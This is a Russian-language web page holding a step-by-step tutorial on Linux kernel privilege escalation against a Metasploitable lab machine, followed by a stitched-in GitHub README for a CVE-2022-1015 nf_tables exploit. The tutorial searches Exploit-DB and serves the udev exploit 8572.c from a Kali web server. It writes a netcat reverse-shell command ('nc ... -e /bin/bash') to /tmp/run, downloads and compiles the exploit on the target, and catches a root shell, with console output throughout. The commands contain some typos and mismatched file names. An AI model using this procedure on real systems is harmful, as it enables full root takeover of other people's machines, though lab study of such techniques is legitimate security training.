Local privilege escalation linux kernel

Расширение локальных привилегий в Linux при помощи эксплоита для ядра

Получение прав суперпользователя сродни Граалю для специалистов, занимающихся эксплуатацией уязвимостей в Linux.

Автор: drd_ Получение прав суперпользователя сродни Граалю для специалистов, занимающихся эксплуатацией уязвимостей в Linux. Так же как и системная учетная запись в Windows, в Linux аккаунт root дает полный административный доступ к операционной системе. Однако иногда даже при помощи эксплоита, который сработал успешно, мы получаем низкоуровневый шелл, и нужно нечто, позволяющее расширить полномочия, для получения доступа к более привилегированным аккаунтам и полного контроля над целевой системой. Шаг 1: Сбор информации и поиск эксплоита После того как получен низкоуровневый шелл в целевой системе, наша цель – расширение привилегий, права суперпользователя и полный доступ к системе. В этой статье будет рассмотрено решение этой задачи при помощи эксплоита для ядра. Поскольку у нас уже есть шелл, воспользуемся командой uname –a для получения первоначальной информации о системе. Кроме того, команда lsb_release –a также может оказаться полезной для выяснения дистрибутива и сведений о релизе.

[*] Started reverse TCP handler on 172.16.1.100:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (36 bytes) to 172.16.1.102
[*] Command shell session 2 opened (172.16.1.100:4444 -> 172.16.1.102:49499) at 2018-07-16 13:55:15 -0500
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
No LSB modeuls are available.

Мы выяснили, что система работает на базе Ubuntu 8.04 с ядром 2.6.24, и теперь приступаем к поиску эксплоита. В Kali есть локальная версия сайта Exploit-DB, представляющая собой базу данных, которая содержит эксплоиты, код и публикации. Поиск по базе осуществляется прямо из терминала при помощи команды searchsploit:

root@nullbyte:~# searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escala | exploits/linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22363.c
Linux Kernel 2.4.32/2.6.0 - 'do_mremap()' Bound Checking Privilege E | exploits/linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - Bluetooth 'bluez_sock_create' Local P | exploits/linux/local/25289.c
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / REHL 4.8/5.3 / SuSE 10 SP | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Pri | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3) | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index Privilege E | exploits/linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege | exploits/linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox | exploits/linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Esca | exploits/linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation | exploits/linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local | exploits/linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9/04) UDEV < 1.4.1 - Local Pr | exploits/linux/local/8572.c

Поскольку мы ищем эксплоит для расширения привилегий, то используем ключевое слово privilege, а затем уточняем результаты поиска при помощи утилиты grep (флаг –i говорит о том, что не нужно учитывать регистр). Например, мы можем воспользоваться эксплоитом 8572.c, который эксплуатирует брешь в менеджере устройств UDEV и позволяет выполнять код через непроверенные сообщения в сокетах Netlink. Просто копируем путь к эксплоиту и при помощи команды locate выясняем полный путь:

root@nullbyte:~# locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c

Как вы могли догадаться, эксплоит написан на С, однако мы не будем углубляться в дебри, а просто скомпилируем исходник. Хотя если вы знакомы с языком С, будет совсем не лишним ознакомиться с логикой работы эксплоита. Чтобы получить базовое представление о том, чем мы будем пользоваться, при помощи команды cat заглянем вовнутрь файла и посмотрим комментарии:

* http://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
* udev до версии 1.4.1 не проверяет, приходит ли NETLINK-сообщение из 
* пространства ядра, что позволяет локальным аккаунтам расширять
* привилегии при помощи отсылки NETLINK-сообщения из пространства
* Этот эксплоит является альтернативной версией эксплоита от kcope,
* использует правила 95-udev-late.rules и позволяет запускать произвольные
* команды при удалении устройства. Более чистый и надежный код при условии,
* что в вашем дистрибутиве есть вышеуказанный файл с правилами. 
* Протестирован в Gentoo, Intrepid и Jaunty.
* Необходимо передать PID, прикрепленный к сокетам netlink менеджера udevd
* указан в /proc/net/netlink и обычно равен udevd PID минус 1), в
* Эксплоит запускает /tmp/run от имени суперпользователя, и вы можете 
* передать в ту команду любую полезную нагрузку.

Шаг 2: Доставка эксплоита в целевую систему Для начала эксплоит нужно скопировать на целевую машину. Самый простой способ решить эту задачу – настроить локальный веб-сервер (например, Apache), подключиться к этому серверу с целевой системы и загрузить файл. Однако вначале нужно выполнить подготовительную работу. Во-первых, убедитесь, что сервер поднят и работает в Kali. В терминале запустите команду service apache2 restart. Затем нужно создать символическую ссылку между директорией, где хранится и эксплоит и папкой с файлами сервера, при помощи следующей команды:

ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

Теперь наш эксплоит доступен для загрузки. В целевой системе эксплоит будет запускаться из директории /tmp, и нам нужно вначале создать исполняемый файл. В Kali введите команду nano /var/www/html/run и добавьте следующие строки:

nc 172.16.1.100 4321 -e /bin/bash

После запуска этого файла для подключения и организации шелла к системе, в которой работает Kali, через IP-адрес и порт 4321, будет использоваться Netcat. Нажмите Ctrl-X, затем Y и далее клавишу Enter для сохранения файла. Теперь мы готовы к загрузке файлов на целевую машину. Используя полученный ранее низкоуровневый шелл, переходим в директорию /tmp, при помощи утилиты wget подключаемся к веб-серверу, на котором установлен Kali, и загружаем файлы все необходимые файлы.

Connecting to 172.16.1.100:80. connected.
HTTP request sent, awaiting response. 200 OK
15:18:31 (978.43 KB/s) - 'run' saved [46/46]
wget http://172.16.1.100/local/8752.c
--15:19:24-- http://172.16.1.100/local/8572.c
Connecting to 172.16.1.100:80. connected.
HTTP request sent, awaiting response. 200 OK
Length: 2,876 (2.8K) [text/x-csrc]
15:19:24 (100.46 MB/s) - '8572.c' saved [2876/2876]

Шаг 3: Компиляция и запуск эксплоита Когда все файлы, необходимые для запуска эксплоита, оказались в целевой системе, остался последний шаг – компиляция исходника. Мы не будем погружаться в дебри программирования, но, если коротко – исполняемый файл должен быть собран из исходного текста. В нашем случае компиляция будет осуществляться при помощи GCC (GNU Compiler Collection; Набор компиляторов проекта GNU). Для компиляции файла 8572.c используйте следующую команду (флаг –o задает имя конечного исполняемого файла): gcc - o exploit 8572. c Если в процессе компиляции не будет найден динамический линковщик, воспользуйтесь флагом –B для указания директории, где находится ld:

gcc -B /usr/bin -o exploit 8572.c
gcc -B /usr/bin -o exploit 8572.c

В комментариях файла 8572.c говорилось, что нам нужно найти PID (идентификатор процесса) сокета Netlink, который обычно равен идентификатору процесса UDEVD минус 1. Запускаем команду cat /proc/net/netlink и ищем ненулевой идентификатор. Проверяем найденное значение при помощи команды ps aux | grep udev. Идентификатор процесса UDEVB должен быть на единицу больше.

sk Eth Pid Groups Rmem Wmem Dump Locks
celb4800 0 0 00000000 0 0 00000000 2
cf87fa00 4 0 00000000 0 0 00000000 2
cd678000 7 0 00000000 0 0 00000000 2
cdc4bc00 9 0 00000000 0 0 00000000 2
cdc09c00 10 0 00000000 0 0 00000000 2
ce1bc400 15 0 00000000 0 0 00000000 2
cf8dee00 15 2459 00000000 0 0 00000000 2
cd394800 16 0 00000000 0 0 00000000 2
cd5f6200 18 0 00000000 0 0 00000000 2
root 2460 0.0 0.2 2216 648 ? Ss 14:42 0:01 /sbinudevd --daemon

Затем нужно настроить слушатель на машине с Kali, с которым будет устанавливаться соединение после запуска скрипта run на целевой системе. На машине с Kali введите команду nc -lvp 4321, после чего начнут отслеживаться входящие подключения. После настройки слушателя, можно приступать к запуску эксплоита. Вспоминаем, что нужно передать PID сокета Netlink в качестве аргумента, который в нашем случае равен 2459 (у вас это значение может отличаться). Выполняем следующую команду в непривилегированном шелле:

Через некоторое время должно появиться подключение к нашему слушателю, и мы сможем запускать разные команды, как, например, id и whoami для просмотра информации о пользователе. Далее становится понятно, что у нас появился доступ с правами суперпользователя, и мы можем выполнять любые операции в целевой системе.

172.16.1.102: inverse host lookup failed: Unknown host
connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 34418

Как обезопасить свой смартфон от СЛЕДЯЩИХ ПРИЛОЖЕНИЙ ? Присоединяйтесь к нашему ТГ каналу и ваш смартфон станет вашим оружием.

Источник

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

Local privilege escalation PoC for Linux kernel CVE-2022-1015

pqlx/CVE-2022-1015

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

This repository contains a PoC for local privilege escalation of CVE-2022-1015, a bug in the nf_tables component of the linux kernel that I found. You can read a detailed analysis of this vulnerability and the exploitation strategy over at my blog.

Right now, the exploit is a bit messy. Sorry!

Kernels after commit 345023b0db31 (v5.12) but before commit 6e1acfa387b9 (v5.17) are vulnerable.

This exploit is extremely unlikely to pop a root shell for a given vulnerable kernel. You will have to experiment with chain hook locations (input vs output etc.), nft_bitwise address leak offsets, and ROP gadget and symbol offsets. I tested on 5.16-rc3+ and had to seriously change my exploit for a kernel build compiled with a different gcc version.

That said, with all the information given in my blog post I think altering the exploit for a given vulnerable kernel should be doable.

Simply run make , and a pwn executable should pop up in the source dir. You will need libmnl and libnftnl developer packages, as well as linux headers of the target.

You can explicitly specify kernel headers to use with e.g. make CFLAGS="-I/path/to/linux-tree/usr/include" .

This code is distributed under the Beerware license. I am not legally responsible for anything you do with it.

About

Local privilege escalation PoC for Linux kernel CVE-2022-1015

Источник

Читайте также:  Garuda linux или manjaro
Оцените статью
Adblock
detector